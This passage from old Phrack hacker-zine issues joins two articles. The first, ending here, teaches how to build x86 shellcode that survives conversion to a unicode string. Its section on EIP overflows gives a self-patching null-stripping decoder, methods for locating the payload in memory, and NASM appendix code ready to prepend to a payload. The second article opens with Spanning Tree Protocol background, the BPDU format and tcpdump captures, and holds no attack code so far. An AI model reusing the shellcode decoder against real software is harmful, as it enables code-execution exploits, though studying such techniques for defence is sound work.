we can't do anything conditional ! Moreover, we can't move along our code :
no Jumps and no Calls are permitted, and no Loops nor Repeats can be done.

Then, what can we do ?
The fact that we have a lot of NULLS will allow a lot of operation on the
EAX register... Because when you use EAX, [EAX], AX, etc.. as operand, 
it is often coded in Hex with a 00.



     - SINGLE BYTE OPCODES

We can use any single byte opcode, this will give us any INC or DEC on any
register, XCHG and PUSH/POP are also possible, with registers as operands.
So we can do :
XCHG r32,r32
POP r32
PUSH r32

Not bad.


     - MOV
 ________________________________________________________________
|8800              mov [eax],al                                  |
|8900              mov [eax],eax                                 |
|8A00              mov al,[eax]                                  |
|8B00              mov eax,[eax]                                 |
|                                                                |
|Quite unuseful.                                                 |
|________________________________________________________________|

 ________________________________________________________________
|A100??00??        mov eax,[0x??00??00]                          |
|A200??00??        mov [0x??00??00],al                           |
|A300??00??        mov [0x??00??00],eax                          |
|                                                                |
|These are unuseful to us. (We said no hardcoded addresses).     |
|________________________________________________________________|

 ________________________________________________________________
|B_00              mov r8,0x0                                    |
|A4                movsb                                         |
|                                                                |
|Maybe we can use these ones.                                    |
|________________________________________________________________|

 ________________________________________________________________
|B_00??00??        mov r32,0x??00??00                            |
|C600??            mov byte [eax],0x??                           |
|                                                                |
|This might be interesting for patching memory.                  |
|________________________________________________________________|



     - ADD

 ________________________________________________________________
|00__              add [r32], r8                                 |
|                                                                | 
| Using any register as a pointer, we can add bytes in memory.   |
|                                                                |
|00__              add r8,r8                                     |
|                                                                |
| Could be a way to modify a register.                           |
|________________________________________________________________|


     - XOR

 ________________________________________________________________
|3500??00??        xor eax,0x??00??00                            |
|                                                                | 
|                                                                |
| Could be a way to modify the EAX register.                     |
|________________________________________________________________|


     - PUSH

 ________________________________________________________________
|6A00              push dword 0x00000000                         |
|6800??00??        push dword 0x??00??00                         | 
|                                                                |
| Only this can be made.                                         |
|________________________________________________________________|


--[ 3 - Possibilities


First we have to get rid of a small detail : the fact that we have
such 0x00 in our code may requier caution because if you return from
smashed EIP to ADDR :

... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...
    ||
   ADDR

The result may be completely different if you ret to ADDR or ADDR+1 !
But, we can use as 'NOP' instruction, instructions like : 

 ________________________________________________________________
|0400              add al,0x0                                    |
|________________________________________________________________|

Because : 000400 is : add [2*eax],al, we can jump wherever we want, we
won't be bothered by the fact that we have to fall on a 0x00 or not.

But this need 2*eax to be a valid pointer.
We also have :

 ________________________________________________________________
|06                push es                                       |
|0006              add [esi],al                                  |
|                                                                |
|0F000F            str [edi]                                     |
|000F              add [edi],cl                                  |
|                                                                |
|2E002E            add [cs:esi],ch                               |
|002E              add [esi],ch                                  |
|                                                                |
|2F                das                                           |
|002F              add [edi],ch                                  |
|                                                                |
|37                aaa                                           |
|0037              add [edi],dh                                  |
|                                  ; .... etc etc...             |
|________________________________________________________________|

We are just to be careful with this alignment problem.

Next, let's see what can be done :

XCHG, INC, DEC, PUSH, POP 32 bits registers can be done directly

We can set a register (r32) to 00000000 :
 ________________________________________________________________
|push dword 0x00000000                                           |
|pop r32                                                         |
|________________________________________________________________|

Notice that anything that can be done with EAX can be done with any other 
register thanxs to the XCHG intruction.

For example we can set any value to EDX with a 0x00 at second position :
(for example : 0x12005678):
 ________________________________________________________________
|mov edx,0x12005600        ; EDX = 0x12005600                    | 
|mov ecx,0xAA007800                                              |
|add dl,ch                 ; EDX = 0x12005678                    |
|________________________________________________________________|


More difficult : we can set any value to EAX (for example), but we will
have to use a little trick with the stack :

 ________________________________________________________________
|mov eax,0xAA003400        ; EAX = 0xAA003400                    |
|push eax                                                        |
|dec esp                                                         |
|pop eax                   ; EAX = 0x003400??                    |
|add eax,0x12005600        ; EAX = 0x123456??                    |
|mov al,0x0                ; EAX = 0x12345600                    |
|mov ecx,0xAA007800                                              |
|add al,ch                                                       |
|                   ; finally : EAX = 0x12345678                 |
|________________________________________________________________|


Importante note : we migth want to set some 0x00 too :

If we wanted a 0x00 instead of 0x12, then instead of adding 0x00120056 to
the register, we can simply add 0x56 to ah :

 ________________________________________________________________
|mov ecx,0xAA005600                                              |
|add ah,ch                                                       |
|________________________________________________________________|

If we wanted a 0x00 instead of 0x34, then we just need EAX = 0x00000000  to
begin with, instead of trying to set this 0x34 byte.

If we wanted a 0x00 instead of 0x56, then it is simple to substract 0x56 to
ah by adding 0x100 - 0x56 = 0xAA to it :
 ________________________________________________________________
|                                     ; EAX = 0x123456??         |
|mov ecx,0xAA00AA00                                              |
|add ah,ch                                                       |
|________________________________________________________________|

If we wanted a 0x00 instead of the last byte, just give up the last line.

Maybe if you haven't thougth of this, remember you can jump to a given
location with (assuming the address is in EAX) :
________________________________________________________________
|50                push eax                                      |
|C3                ret                                           |
|________________________________________________________________|

You may use this in case of a desperate situation.


--[ 4 - The Strategy



It seems nearly impossible to get a working shellcode with such a small set
of opcodes... But it is not !
The idea is the following :

Given a working shellcode, we must get rid of the 00 between each byte.
We need a loop, so let's do a loop, assuming EAX points to our shellcode :

 _Loop_code_:____________________________________________________
|                              ; eax points to our shellcode     |
|                              ; ebx is 0x00000000               |
|                              ; ecx is 0x00000500 (for example) |
|                                                                |
|          label:                                                |
|43                inc ebx                                       |
|8A1458            mov byte dl,[eax+2*ebx]                       |
|881418            mov byte [eax+ebx],dl                         |
|E2F7              loop label                                    |
|________________________________________________________________|

Problem : not unicode. So let's turn it into unicode :

43 8A 14 58 88 14 18 E2 F7, would be :
43 00 14 00 88 00 18 00 F7

Then, considering the fact that we can write data at a location pointed by
EAX, it will be simple to tranform thoses 00 into their original values.

We just need to do this (we assume EAX points to our data) :

 ________________________________________________________________
|40                inc eax                                       |
|40                inc eax                                       |
|C60058            mov byte [eax],0x58                           |
|________________________________________________________________|

Problem : still not unicode. So that 2 bytes like 0x40 follow, we need a 
00 between the two... As 00 can't fit, we need something like : 00??00,
which won't interfere with our business, so :

                 add [ebp+0x0],al   (0x004500)

will do fine. Finally we get :

 ________________________________________________________________
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C60058            mov byte [eax],0x58                           |
|________________________________________________________________|

-> [40 00 45 00 40 00 45 00 C6 00 58] is nothing but a unicode string !


Before the loop, we must have some things done : 
First we must set a proper counter, i propose to set ECX to 0x0500, this
will deal with a 1280 bytes shellcode (but feel free to change this).
->This is easy to do thanks to what we just noticed.
Then we must have EBX = 0x00000000, so that the loop works properly.
->It is also easy to do.
Finally we must have EAX pointing to our shellcode in order to take away 
the nulls. 
->This will be the harder part of the job, so we will see that later.

Assuming EAX points to our code, we can build a header that will clean the
code that follows it from nulls (we use add [ebp+0x0],al to align nulls) :

-> 1st part : we do EBX=0x00000000, and ECX=0x00000500 (approximative size 
of buffer)

 ________________________________________________________________
|6A00              push dword 0x00000000                         |
|6A00              push dword 0x00000000                         |
|5D                pop ebx                                       |
|004500            add [ebp+0x0],al                              |
|59                pop ecx                                       |
|004500            add [ebp+0x0],al                              |
|BA00050041        mov edx,0x41000500                            |
|00F5              add ch,dh                                     |
|________________________________________________________________|

-> 2nd part : The patching of the 'loop code' :
43 00 14 00 88 00 18 00 F7 has to be : 43 8A 14 58 88 14 18 E2 F7
So we need to patch 4 bytes exactly which is simple :

(N.B : using {add dword [eax],0x00??00??} takes more bytes so we will
use a single byte mov : {mov byte [eax],0x??} to do this)

 ________________________________________________________________
|mov byte [eax],0x8A                                             |
|inc eax                                                         |
|inc eax                                                         |
|mov byte [eax],0x58                                             |
|inc eax                                                         |
|inc eax                                                         |
|mov byte [eax],0x14                                             |
|inc eax                                                         |
|                  ; one more inc to get EAX to the shellcode    |
|________________________________________________________________|

Which does, with 'align' instruction {add [ebp+0x0],al} :
 ________________________________________________________________
|004500            add [ebp+0x0],al                              |
|C6008A            mov byte [eax],0x8A   ; 0x8A                  |
|004500            add [ebp+0x0],al                              |
|                                                                |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C60058            mov byte [eax],0x58   ; 0x58                  |
|004500            add [ebp+0x0],al                              |
|                                                                |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C60014            mov byte [eax],0x14   ; 0x14                  |
|004500            add [ebp+0x0],al                              |
|                                                                |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C600E2            mov byte [eax],0xE2   ; 0xE2                  |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|________________________________________________________________|

This is good, we now have EAX that points to the end of the loop, that is
to say : the shellcode.

-> 3rd part : The loop code (stuffed with nulls of course)
 ________________________________________________________________
|43                db 0x43                                       |
|00                db 0x00      ; overwritten with 0x8A          |
|14                db 0x14                                       |
|00                db 0x00      ; overwritten with 0x58          |
|88                db 0x88                                       |
|00                db 0x00      ; overwritten with 0x14          |
|18                db 0x18                                       |
|00                db 0x00      ; overwritten with 0xE2          |
|F7                db 0xF7                                       |
|________________________________________________________________|

Just after this should be placed the original working shellcode.



Let's count the size of this header : (nulls don't count of course)

   1st part : 10 bytes
   2nd part : 27 bytes
   3rd part :  5 bytes
   -------------------
      Total : 42 bytes

I find this affordable, because i could manage to make a remote Win32
shellcode fit in around 450 bytes.

So, at the end, we made it : a shellcode that works after it has been
turn into a unicode string !

Is this really it ? No of course, we forgot something. I wrote that we
assumed that EAX was pointing on the exact first null byte of the loop
code. But in order to be honest with you, i will have to explain a way
to obtain this.


--[ 5 - Captain, we don't know our position !


The problem is simple : We had to perform patches on memory to get our loop
working well. So we need to know our position in memory because we are
patching ourself.
In an assembly program, an easy way to do this would be :

 ________________________________________________________________
|call label                                                      |
|                                                                |
|          label:                                                |
|pop eax                                                         |
|________________________________________________________________|

Will get the absolute memory address of label in EAX.

In a classic shellcode we will need to do a call to a lower address
to avoid null bytes :

 ________________________________________________________________
|jmp jump_label                                                  |
|                                                                |
|          call_label:                                           |
|pop eax                                                         |
|push eax                                                        |
|ret                                                             |
|          jump_label:                                           |
|call call_label                                                 |
|                              ; ****                            |
|________________________________________________________________|

Will get the absolute memory address of '****'

But this is impossible in our case because we can't jump nor call.
Moreover, we can't parse memory looking for a signature of any kind.
I'm sure there must be other ways to do this but i could only 3 :


-> 1st idea : we are lucky.

If we are lucky, we can expect to have some registers pointing to a place
near our evil code. In fact, this will happen in 90% of time. This place
can't be considered as harcoded because it will surely move if the process
memory moves, from a machine to another. (The program, before it crashed,
must have used your data and so it must have pointers to it)
We know we can add anything to eax (only eax)
so we can :

     - use XCHG to have the approximate address in EAX
     - then add a value to EAX, thus moving it to wherever we want.

The problem is that we can't use : add al,r8 or and ah,r8, because don't
forget that : 
EAX=0x000000FF + add al,1 = EAX=0x00000000
So thoses manipulations will do different things depending on what EAX 
contains.

So all we have is : add eax,0x??00??00
No problem, we can add 0x1200 (for example) to EAX with : 

 ________________________________________________________________
|0500110001        add eax,0x01001100                            |
|05000100FF        add eax,0xFF000100                            |
|________________________________________________________________|

Then, it is simple to add some align data so that EAX points on what we
want.
For example : 
 ________________________________________________________________
|0400              add al,0x0                                    |
|________________________________________________________________|

would be perfect for align.
(N.B: we will maybe need a little inc EAX to fit)

Some extra space may be requiered by this methode (max : 128 bytes because
we can only get EAX to point to the nearest address modulus 0x100, then we
have to add align bytes. As each 2 bytes is in fact 1 buffer byte because
of the added null bytes, we must at worst add 0x100 / 2 = 128 bytes)


-> 2nd idea : a little less lucky.

If you can't find a close address within yours registers, you can maybe
find one in the stack. Let's just hope your ESP wasn't smashed after the
overflow.
You just have to POP from the stack until you find a nice address. This
methode can't be explained in a general way, but the stack always contains
addresses the application used before you bothered it. Note that you can
use POPAD to pop EDI, ESI, EBP, EBX, EDX, ECX, and EAX.
Then we use the same methode as above.



-> 3rd idea : god forgive me.

Here we suppose we don't have any interesting register, or that the values
that the registers contain change from a try to another. Moreover, there's
nothing interesting inside the stack. 

This is a desperate case so -> we use an old style samoura suicide attack.

My last idea is to :

     - Take a "random" memory location that has write access
     - Patch it with 3 bytes
     - Call this location with a relative call

First part is the more hazardous : we need to find an address that is 
within a writeable section. We'd better find one at the end of a section
full on nulls or something like that, because we're gonna call quite
randomly. The easiest way to do this is to take for example the .data
section of the target Portable Executable. It is usually a quite large
section with Flags : Read/Write/Data.
So this is not a problem to kind of 'hardcode' an address in this area.
So for the first step we just pisk an address in the middle of this,
it won't matter where.
(N.B : if one of your register points to a valid location after the
overflow, you don't have to do all this of course)
We assume the address is 0x004F1200 for example :

Using what we saw previously, it is easy to set EAX to this address :
 ________________________________________________________________
|B8004F00AA        mov eax,0xAA004F00        ; EAX = 0xAA004F00  |
|50                push eax                                      |
|4C                dec esp                                       |
|58                pop eax                   ; EAX = 0x004F00??  |
|B000              mov al,0x0                ; EAX = 0x004F0000  |
|B9001200AA        mov ecx,0xAA001200                            |
|00EC              add ah,ch                                     |
|                                   ; finally : EAX = 0x004F1200 |
|________________________________________________________________|


Then we will patch this writeable memory location with (guess what) :
 ________________________________________________________________
|pop eax                                                         |
|push eax                                                        |
|ret                                                             |
|________________________________________________________________|

Hex code of the patch : [58 50 C3]

This would give us, after we called this address, a pointer to our code in
EAX. This would be the end of the trouble. So let's patch this :

Remember that EAX contains the address we are patching. What we are going
to do is first patch with 58 00 C3 00 then move EAX 1 byte ahead, and put
the last byte : 0x50 between the two others.
(N.B : don't forget that byte are pushed in a reverse order in the stack)

 ________________________________________________________________
|C7005800C300      mov dword [eax],0x00C30058                    |
|40                inc eax                                       |
|C60050            mov byte [eax],0x50                           |
|________________________________________________________________|

Done with patching. Now we must call this location. I no i said that we
couldn't call anything, but this is a desperate case, so we use a 
relative call :

 ________________________________________________________________
|E800??00!!        call (here + 0x!!00??00)                      |
|                                       (**)                     |
|________________________________________________________________|

In order to get this methode working, you have to patch the end of a large
memory section containing nulls for example. Then we can call anywhere in
the area, it will end up executing our 3 bytes code.

After this call, EAX will have the address of (**), we are saved because we
just need to add EAX a value we can calculate because it is just a
difference between two offsets of our code. Therefore, we can't use
previous technique to add bytes to EAX because we want to add less then
0x100. So we can't do the {add eax, imm32} stuff. Let's do something else :

              add dword [eax], byte 0x?? 

is the key, because we can add a byte to a dword, this is perfect.

EAX points to (**), se can can use this memory location to set the new EAX
value and put it back into EAX. We assume we want to add 0x?? to eax :
(N.B : 0x?? can't be larger than 0x80 because the :
              add dword [eax], byte 0x?? 
we are using is signed, so if you set a large value, it will sub instead of 
add. (Then add a whole 0x100 and add some align to your code but this won't
happen as 42*2 bytes isn't large enough i think)
 ________________________________________________________________
|0400              ad al,0x0       ; the 0x04 will be overwritten|
|8900              mov [eax],eax                                 |
|8300??            add dword [eax],byte 0x??                     |
|8B00              mov eax,[eax]                                 |
|________________________________________________________________|

Everything is alright, we can make EAX point to the exact first null byte 
of loop_code as we wished.
We just need to calculate 0x?? (just count the bytes including nulls 
between loop_code and the call and you'll find 0x5A)




--[ 6 - Conclusion

Finally, we could make a unishellcode, that won't be altered after a 
str to unicode transformation.
I'm waiting other ideas or techniques to perform this, i'm sure there
are plenty of things i haven't thought about.



Thanks to : 
            - NASM Compiler and disassembler (i like its style =)
            - Datarescue IDA
            - Numega SoftIce
            - Intel and its processors

Documentation :
	    - http://www.intel.com     for the official intel assembly doc

Greetings go to : 
            - rix, for showing us beautiful things in his articles
	    - Tomripley, who always helps me when i need him !



--| 7 - Appendix : Code


For test purpose, i give you a few lines of code to play with (NASM style)
It is not really a code sample, but i gathered all my examples so that you
don't have to look everywhere in my messy paper to find what you need...

- main.asm ----------------------------------------------------------------
%include "\Nasm\include\language.inc"

[global main]
        
segment .code public use32
..start:

; *********************************************
; *   Assuming EAX points to (*) (see below)  *
; *********************************************

;
; Setting EBX to 0x00000000 and ECX to 0x00000500
;
push byte 00	      ; 6A00
push byte 00	      ; 6A00
pop ebx               ; 5D
add [ebp+0x0],al      ; 004500
pop ecx               ; 59
add [ebp+0x0],al      ; 004500
mov edx,0x41000500    ; BA00050041
add ch,dh             ; 00F5


;
; Setting the loop_code
;
add [ebp+0x0],al      ; 004500
mov byte [eax],0x8A   ; C6008A
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0x58   ; C60058
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0x14   ; C60014
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0xE2   ; C600E2
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500

;
; Loop_code
;

db 0x43 
db 0x00 ;0x8A         (*)
db 0x14 
db 0x00 ;0x58
db 0x88 
db 0x00 ;0x14 
db 0x18 
db 0x00 ;0xE2 
db 0xF7

; < Paste 'unicode' shellcode there >

-EOF-----------------------------------------------------------------------

Then the 3 methodes to get EAX to point to the chosen code.
(N.B : The 'main' code is 42*2 = 84 bytes long)

- methode1.asm ------------------------------------------------------------
; *********************************************
; *        Adjusts EAX (+ 0xXXYY bytes)       *
; *********************************************

; N.B : 0xXX != 0x00

add eax,0x0100XX00    ; 0500XX0001
add [ebp+0x0],al      ; 004500
add eax,0xFF000100    ; 05000100FF
add [ebp+0x0],al      ; 004500

                            ; we added 0x(XX+1)00 to EAX

; using : add al,0x0 as a NOP instruction :
add al,0x0            ; 0400
add al,0x0            ; 0400
add al,0x0            ; 0400
; [...]   <--  (0x100 - 0xYY) /2  times
add al,0x0            ; 0400
add al,0x0            ; 0400
add al,0x0            ; 0400

; (N.B) if 0xYY is odd then add a :
dec eax               ; 48
add [ebp+0x0],al      ; 004500
-EOF-----------------------------------------------------------------------



- methode2.asm ------------------------------------------------------------
; *********************************************
; *         Basically : POPs and XCHG         *
; *********************************************

popad                 ; 61
add [ebp+0x0],al      ; 004500
xchg eax, ?           ; 1 non null byte    (find out what to do here)
add [ebp+0x0],al      ; 004500

; do it again if needed, then use methode1 to make everything okay
-EOF-----------------------------------------------------------------------



- methode3.asm ------------------------------------------------------------
; *********************************************
; *                Using a CALL               *
; *********************************************

; Get the wanted address

mov eax,0xAA00??00         ; B800??00AA
add [ebp+0x0],al           ; 004500
push eax                   ; 50
add [ebp+0x0],al           ; 004500
dec esp                    ; 4C
add [ebp+0x0],al           ; 004500
pop eax                    ; 58
add [ebp+0x0],al           ; 004500
mov al,0x0                 ; B000
mov ecx,0xAA00!!00         ; B900!!00AA
add ah,ch                  ; 00EC
add [ebp+0x0],al           ; 004500

; EAX = 0x00??!!00

; awfull patch, i agree
mov dword [eax],0x00C30058 ; C7005800C300
inc eax                    ; 40
add [ebp+0x0],al           ; 004500
mov byte [eax],0x50        ; C60050
add [ebp+0x0],al           ; 004500

          ; just pray and call

call 0x????????            ; E800!!00??

add [ebp+0x0],al           ; 004500

; then add 90d = 0x5A to EAX (to reach (*), where the loop_code is)
; case where 0xXX = 0x00 so we can't use methode1

add al,0x0                 ; 0400     because we're patching at [eax]

mov [eax],eax              ; 8900
add dword [eax],byte 0x5A  ; 83005A
add [ebp+0x0],al           ; 004500
mov eax,[eax]              ; 8B00

; EAX pointes to the very first null byte of loop_code


|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                            ==Phrack Inc.==

                Volume 0x0b, Issue 0x3d, Phile #0x0c of 0x0f

|=---------------=[ Fun with the Spanning Tree Protocol ]=---------------=|
|=-----------------------------------------------------------------------=|
|=-----------=[ Oleg K. Artemjev, Vladislav V. Myasnyankin ]=------------=|

 
Introduction.
*=*=*=*=*=*=*

Developed in the 1st part of 80th by International Standards Organization (ISO) 
seven-layer model of Open System Interconnection (OSI) presents a hierarchical 
structure, where each level has strictly assigned job & interface to upper & 
lower levels. Due to business needs modern equipment currently supports on the 
2nd OSI layer not only traditional frame forwarding & hardware address
resolution, but also provides redundancy, multiplexing, load balancing &
separation of information flows. Unfortunately, security issues at this layer
are often left without attention. Here we'll show weakness in implementation
and algorithm of one of the second OSI layer (``channel'' (MAC+LLC))
protocols - Spanning Tree Protocol (STP). This work uses our materials
published in Russian: [2], [4].
 
   Since we're publishing an information about security vulnerabilities before
a fix is ready on the market & since these information may be used by a
malicious person we'll write our article in such a way, so newbies (also known
as ``script kiddies'' or ``black hats'' -  see [1]) would be unable to use
this paper as a step-by-step  ``howto''. We understand that different people
have different opinion to this issue, but feel that this is almost single
possible way to stimulate vendors to fix bugs much faster. Of course we
already notified some vendors (Cisco, Avaya) about these vulnerabilities, but
an answer was  alike: ``unless this gives money we won't make investments''.
Well, since  we're interested in high level of security in switches & routers
we use, we have to publish our investigations - thus we 'll make some pressure
on hardware vendors to implement real security in their devices. Also we note,
 that vendors should be already informed via bugtraq & some - Cisco & Avaya -
directly. Our first publication in Russian concerning STP vulnerabilities was
made about one year ago.
 
   The volume of our materials written while analyzing STP protocol is too big
to be published in one magazine article. Full information is available in the
Internet at the project's web page ([3]) and with the same restrictions which
apply also to this publication (see license below).

License.
*=*=*=*=

   As a complain against trends to inhibit publications of security
vulnerabilities in software (these tendencies are widely known to the public
as a DMCA law in U$ [Digital Millennium Copyright Act]), these materials are a
subject to the following license:

--------------------------------------------------------------------------------
License agreement.

This paper is an intellectual property of it's authors: Oleg Artemjev and
Vladislav Myasnyankin (hereinafter - writers). This paper may be freely used
for the links, but its content or its part cannot be translated into foreign
languages or included into any paper, book, magazine, and other electronic or
paper issues without prior WRITTEN permissions of both writers. Moreover, in
case of using materials of this research or refer to it, according given
license you must provide complete information: full title, authorship and this
license. You can freely distribute this paper electronically, if, and only if,
all of the following conditions are met:
  
 1. This license agreement and article are not modified,  including its PGP
    digital signature. Any reformatting of the text is prohibited. 
 2. The distribution does not contradict the given license. 
 
   Distribution of this paper in the countries with the legislation containing
limitations similar to American DMCA contradicts the given license. At the
moment of publication this includes United States of America (including
embassies,naval vessels, military bases and other areas of  US jurisdiction.
Moreover, reading this paper by citizens of such a country violates this
license agreement and may also violate their law. Nevertheless, distribution
of any links to this document is not a violation of the given license. 
 
   This paper is provided by the authors ``as is'' and any express or implied
warranties, including, but not limited to, the implied warranties of
merchantability and fitness for a particular purpose are disclaimed. In no
event shall the writers be liable for any direct,indirect, incidental,
special, exemplary, or consequential damages (including, but not limited to,
procurement of substitute goods or services; loss of use, data, or profits; or
business interruption). 
 
   Writers claim this article for educational purposes only. You should not
read this paper, if you disagree not to use it any other way. 
 
   The given license agreement is subject to change without warning in the
consent of both writers. 
--------------------------------------------------------------------------------

What is STP?
*=*=*=*=*=*=

   Main task of STP protocol is automated management of network topology with
redundant channels. In general, almost all type of networks are unable to
accept loops(rings) in their structure. Really, if network equipment is
connected with superfluous lines, then without additional measures frames
would be delivered to recipient as a several one - this would result in a
fault. But business require redundancy, thus there is an STP - it takes care
that all physical loops are logically disabled unless one of lines gives a
fault - in this case STP enables line that is currently in reserve. STP should
guarantee that at each point of time only one of several duplicate links is
enabled & should automatically switch between them on demand (fault or
physical topology change).

How STP works?
*=*=*=*=*=*=*=

   STP begin its work from building a tree-alike graph, which begins at 
``root''. One of STP-capable devices becomes a root after winning elections.
Each STP-capable device (it could be a switch, router or other equipment,
hereby & later for simplicity called ``bridge'') starts from power-up claiming
that it's root one by sending special data named Bridge Protocol Data Unit
(BPDU - see [9]) through all ports.  The receiver's address in a BPDU packets
is a group (multicast) address -  this allows BPDUs pass through
non-intellectual (dumb) equipment like hubs and non STP-aware switches.
 
   Here as we say ``address'', we mean MAC-address, since STP is working at 
the level of Media Access Control (MAC). Thereby all issues about STP & its
vulnerabilities apply equal to the different transmission methods, i.e. 
Ethernet, Token Ring & others.
 
   After receiving BPDU from other device the bridge compares received
parameters with its own & depending to result decide to stop or keep insisting
on its root status.  At the end of elections the device with the lowest value
of the bride identifier becomes a root one. The bridge identifier is a
combination of bridge MAC address & defined bridge priority. Obviously in a
network with single STP compatible device it 'll be a root one.
 
   Designated root (or ``Designated Root Bridge'', as named by standard)
doesn't have any additional responsibilities - it only used as a beginning
point to start building topology graph. For all other bridges in a network STP
defines the ``Root Port'' - the nearest to the root bridge port. From other
ports connected to the bridge it differs by its identifier - combination of
its MAC address & defined for the port priority.
 
   The Root Path Cost is also a value meaningful for STP elections - it is
being build as a sum of path costs: to the root port of given bridge & all
path costs to root ports of all other bridges on the route to Root one.
 
   In addition to the ``main'' Root Bridge STP defines a logical entity called
``Designated Bridge'' - owner of this status becomes main bridge in serving of
given LAN segment. This is also a subject of elections.
 
   Similarly STP defines for each network segment the Designated Port (which
serving given network segment) & corresponding to it ``Designated Cost''.
 
   After all the elections are finished, network goes into stable phase. This
state is characterized by the following conditions:
  
 - There is only one device in a network claiming itself as a Root one, all
   others are periodically announcing it. 

 - The Root Bridge periodically sends BPDU through all its ports. The sending
   interval is named ``Hello Time''. 

 - In each LAN segment there is a single Designated Root Port and all traffic 
   to the Root Bridge is going through it. Compared to other bridges, it has
   lowest  value of path cost to the Root Bridge, if these values are
   identical - the port with a lowest port identifier (MAC plus priority) is
   assigned.  

 - BPDUs are being received & sent by STP-compatible unit on each port, even
   those that are disabled by STP protocol. Exceptionally, BPDUs are not
   operationing on ports that are disabled by administrator. 

 - Each bridge forwards frames only between Root Port & Designated Ports for
   corresponding segments. All other ports are blocked. 

   As follows from the last item, STP manages topology by changing port states
within following list: 
  
Blocking:   The port is blocked (discards user frames), but accepts STP BPDUs.
   
Listening:  1st stage before forwarding. STP frames (BPDUs) are OK, but user 
            frames are not processed. No learning of addresses yet, since it 
            may give wrong data in  switching table at this time; 
Learning:   2nd stage of preparation for forwarding state. BPDUs are processed
            in full,  user frames are only used to build switching table and not
            forwarded; 
Forwarding: Working state of ports from user view - all frames are processed
            - STP & user ones. 
 
   At time of network topology reconfiguration all bridge ports are in one of
three states - Blocking, Listening or Learning, user frames are not delivered
& network is working only for itself, not for user.
 
   In stable state all bridges are awaiting periodical Hello BPDUs from Root
Bridge. If in the time period defined by Max Age Time there was no Hello BPDU,
then bridge decides that either Root Bridge is Off, either the link to is
broken. In this case it initiates network topology reconfiguration. By
defining corresponding parameters it is possible to regulate how fast bridges
will find topology changes & enable backup links.

Lets look closer.
*=*=*=*=*=*=*=*=*

Here is a structure of STP Configuration BPDU according to 802.1d standard:

 ----------------------------------------------
 |Offset  |Name                       |Size   |
 ----------------------------------------------
 ----------------------------------------------
 |1       |Protocol Identifier        |2 bytes|
 ----------------------------------------------
 |        |Protocol Version Identifier|1 byte |
 ----------------------------------------------
 |        |BPDU type                  |1 byte |
 ----------------------------------------------
 |        |Flags                      |1 byte |
 ----------------------------------------------
 |        |Root Identifier            |8 bytes|
 ----------------------------------------------
 |        |Root Path Cost             |4 bytes|
 ----------------------------------------------
 |        |Bridge Identifier          |8 bytes|
 ----------------------------------------------
 |        |Port Identifier            |2 bytes|
 ----------------------------------------------
 |        |Message Age                |2 bytes|
 ----------------------------------------------
 |        |Max Age                    |2 bytes|
 ----------------------------------------------
 |        |Hello Time                 |2 bytes|
 ----------------------------------------------
 |35      |Forward Delay              |2 bytes|
 ----------------------------------------------

In a C language:

typedef struct {

Bpdu_type  type;
Identifier root_id;
Cost       root_path_cost;
Identifier bridge_id;
Port_id    port_id;
Time       message_age;
Time       max_age;
Time       hello_time;
Time       forward_delay;
Flag       topology_change_acknowledgement;
Flag       topology_change;

} Config_bpdu;


Here is how it look like in a tcpdump:
---------------------screendump----------------------------
[root@ws002 root]# tcpdump -c 3 -t -i eth0 stp
tcpdump: listening on eth0
802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max 20 hello 2 fdelay 15 
802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max 20 hello 2 fdelay 15 
802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max 20 hello 2 fdelay 15 
3 packets received by filter
0 packets dropped by kernel
[root@ws002 root]#
---------------------screendump----------------------------

And with extra info:

---------------------screendump----------------------------
[root@ws002 root]# tcpdump -vvv -e -l -xX -ttt -c 3 -i eth0 stp
tcpdump: listening on eth0
000000 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15 
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 002912 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15 
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 046164 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15 
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
